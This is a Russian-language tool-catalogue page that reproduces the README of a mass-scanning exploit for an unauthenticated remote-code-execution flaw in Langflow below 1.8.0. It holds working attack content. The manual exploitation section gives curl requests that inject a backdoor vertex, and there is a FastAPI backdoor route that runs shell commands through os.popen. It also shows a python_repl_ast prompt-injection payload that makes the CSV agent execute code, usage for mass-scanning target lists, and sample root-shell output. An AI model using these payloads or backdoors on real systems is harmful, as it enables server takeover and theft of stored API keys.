Skip to content
KitploitKITPLOIT
ИнструментыБлог
Log in
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-27966 — Сканер RCE без аутентификации для Langflow < 1.8.0 — Route Injection + Vertex Injection → выполнение кода (CVSS 9.8) | Kitploit
Инструменты/GitHubGitHub/shinthink/cve-2026-27966
РазведкаСканеры уязвимостейГенерация полезной нагрузкиЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеКомандование и УправлениеБезопасность ИИ
GitHubshinthink/cve-2026-27966

CVE-2026-27966

Сканер RCE без аутентификации для Langflow < 1.8.0 — Route Injection + Vertex Injection → выполнение кода (CVSS 9.8)

2122 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий

CVE-2026-27966 — Сканер удаленного выполнения кода в Langflow

Инъекция маршрутов без аутентификации + Инъекция вершин → Выполнение кода Python


Обзор

CVE-2026-27966 — это критическая уязвимость (CVSS 9.8) удаленного выполнения кода без предварительной аутентификации в Langflow версиях ниже 1.8.0. Уязвимость вызвана жестко заданным allow_dangerous_code=True в компоненте CSV Agent, что делает инструмент python_repl_ast из LangChain доступным для неаутентифицированной инъекции подсказок.

Кроме того, многие конечные точки API не имеют надлежащей аутентификации, что позволяет напрямую выполнять инъекцию маршрутов и вершин потоков даже на экземплярах, где CSV Agent не настроен.

Затронутые версии

Версия LangflowСтатус
< 1.8.0Уязвима
>= 1.8.0Исправлена

Векторы атак

Этот сканер проверяет три различных пути эксплуатации:

1. Инъекция маршрута (обход auto_login)

GET  /api/v1/auto_login          → получение сессии / API-ключа
POST /api/v1/custom_component    → регистрация бэкдор-маршрута
GET  /api/{backdoor}?c=command   → RCE

2. Прямая инъекция маршрута (без API-ключа)

POST /api/v1/custom_component    → регистрация бэкдор-маршрута
GET  /api/{backdoor}?c=command   → RCE

3. Инъекция вершин сборки (сборка без аутентификации)

GET  /api/v1/flows/basic_examples  → извлечение UUID потоков (26 открытых)
POST /api/v1/build/{UUID}/vertices → внедрение вредоносной вершины
POST /api/v1/run/{UUID}            → выполнение кода вершины → RCE

Механизм уязвимости

Корневая причина

В файле src/lfx/src/lfx/components/langchain_utilities/csv_agent.py узел CSV Agent жестко задает allow_dangerous_code=True, что автоматически открывает доступ к инструменту python_repl_ast из LangChain:

agent_kwargs = {
    "verbose": self.verbose,
    "allow_dangerous_code": True,  # жестко задано — нельзя отключить через UI
}
agent_csv = create_csv_agent(..., **agent_kwargs)

Это позволяет любой подсказке, достигающей CSV Agent, выполнять произвольный код Python через:

Action: python_repl_ast
Action Input: __import__("os").system("command")

Поверхность API без аутентификации

REST API Langflow предоставляет несколько конечных точек без аутентификации:

EndpointАутентификацияДоступные данные
GET /api/v1/versionНетВерсия Langflow
GET /api/v1/healthНетСостояние экземпляра
GET /api/v1/flows/basic_examples/Нет26 UUID примеров потоков + структура
POST /api/v1/build/{uuid}/verticesНетПринимает произвольную инъекцию кода
POST /api/v1/users/НетСоздание пользователя (неактивно)
GET /openapi.jsonНетПолная документация API

Обход аутентификации через auto_login

На экземплярах, где включен auto_login (по умолчанию во многих развертываниях Docker), атакующий получает действительную сессию и API-ключ:

curl -sk 'https://target.com/api/v1/auto_login'
# Возвращает сессию с access_token → полный доступ к API

Имея действительный API-ключ, атакующий может использовать POST /api/v1/custom_component для регистрации бэкдор-маршрута FastAPI, который сохраняется в памяти до перезапуска сервера:

from fastapi import APIRouter, Query
router = APIRouter()
@router.get("/sh")
async def cmd(c: str = Query("")):
    import os
    return os.popen(c).read()
app.include_router(router, prefix="/api")

Почему CVSS 9.8

МетрикаЗначение
Вектор атакиСеть (удаленная)
Сложность атакиНизкая
Требуемые привилегииНет
Взаимодействие пользователяНет
ОбластьБез изменений
КонфиденциальностьВысокая
ЦелостностьВысокая
ДоступностьВысокая

Установка

git clone https://github.com/shinthink/CVE-2026-27966.git
cd CVE-2026-27966
pip install -r requirements.txt

Использование

# Одна цель
python cve_2026_27966.py -t target.com:7860

# Массовое сканирование
python cve_2026_27966.py -f targets.txt

# Массовое сканирование + сохранение результатов
python cve_2026_27966.py -f targets.txt -o rce.txt

# Только обнаружение (пропустить эксплуатацию)
python cve_2026_27966.py -f targets.txt --no-exploit

# Подробный вывод
python cve_2026_27966.py -f targets.txt -v

Аргументы

  -t, --target      Одна цель (IP:порт или домен)
  -f, --file        Список целей, по одной на строку
  -o, --output      Сохранить результаты RCE в файл
  --threads         Количество одновременных рабочих потоков (по умолчанию: 30)
  --no-exploit      Только обнаружение, пропустить попытки RCE
  -v, --verbose     Показать все результаты, включая цели без RCE

Доказательство концепции

Обнаружение и эксплуатация

$ python cve_2026_27966.py -t target.com:7860 -v
  CVE-2026-27966 — Сканер RCE для Langflow
  CVSS 9.8 | Без аутентификации | Инъекция маршрута → RCE

  Хост     : target.com:7860
  Langflow : ДА v1.2.0
  Уязвим   : ДА
  API-ключ : НЕ ТРЕБУЕТСЯ
  RCE      : ДА
  Вывод    : uid=0(root) gid=0(root) groups=0(root)
  Время    : 12.3s

Результат массового сканирования

  CVE-2026-27966 Сканер RCE для Langflow
  Цели: 4127 | Потоки: 30 | Эксплуатация: ВКЛ
  -------------------------------------------------------

  [RCE]  192.168.10.50     v1.2.0    7.3s
         uid=0(root) gid=0(root) groups=0(root)
  [AUTH] target.internal:4433 v1.2.0   14.1s  (API-ключ)
  [500/4127] сканирование... (12%)

  -------------------------------------------------------
  Всего: 4127 | Langflow: 47 | RCE: 3 | Защищены API: 41
  -------------------------------------------------------

Ручная эксплуатация

Шаг 1 — Обнаружение Langflow

curl -sk 'https://target.com/api/v1/version'
# {"version":"1.2.0","main_version":"1.2.0","package":"Langflow"}

Шаг 2 — Извлечение UUID потоков

curl -sk 'https://target.com/api/v1/flows/basic_examples/' | jq '.[0].id'
# "bb0a7390-22a1-4a2e-8d7c-15463e53d9f2"

Шаг 3 — Внедрение бэкдор-вершины

curl -sk -X POST 'https://target.com/api/v1/build/{UUID}/vertices' \
  -H 'Content-Type: application/json' \
  -d '{"id":"bkdr","type":"CustomComponent","data":{"code":"from fastapi import APIRouter\nrouter=APIRouter()\[email protected](\"/sh\")\nasync def cmd(c:str=\"\"):import os;return os.popen(c).read()\napp.include_router(router,prefix=\"/api\")","display_name":"X"}}'

Шаг 4 — Выполнение команды

curl -sk 'https://target.com/api/sh?c=id;hostname;uname -a'

Влияние

Успешная эксплуатация приводит к удаленному выполнению кода с правами root в контейнере Docker с Langflow. Оттуда атакующий может:

  • Извлечь API-ключи из базы данных SQLite Langflow (OpenAI, Anthropic, Gemini и т.д.)
  • Получить доступ к подключенным векторным базам данных и внешним сервисам
  • Развернуть постоянные бэкдоры с помощью пользовательских компонентов
  • Перемещаться по внутренним сетям
  • Развернуть криптомайнеры или C2-инфраструктуру

Отказ от ответственности

Скачать инструмент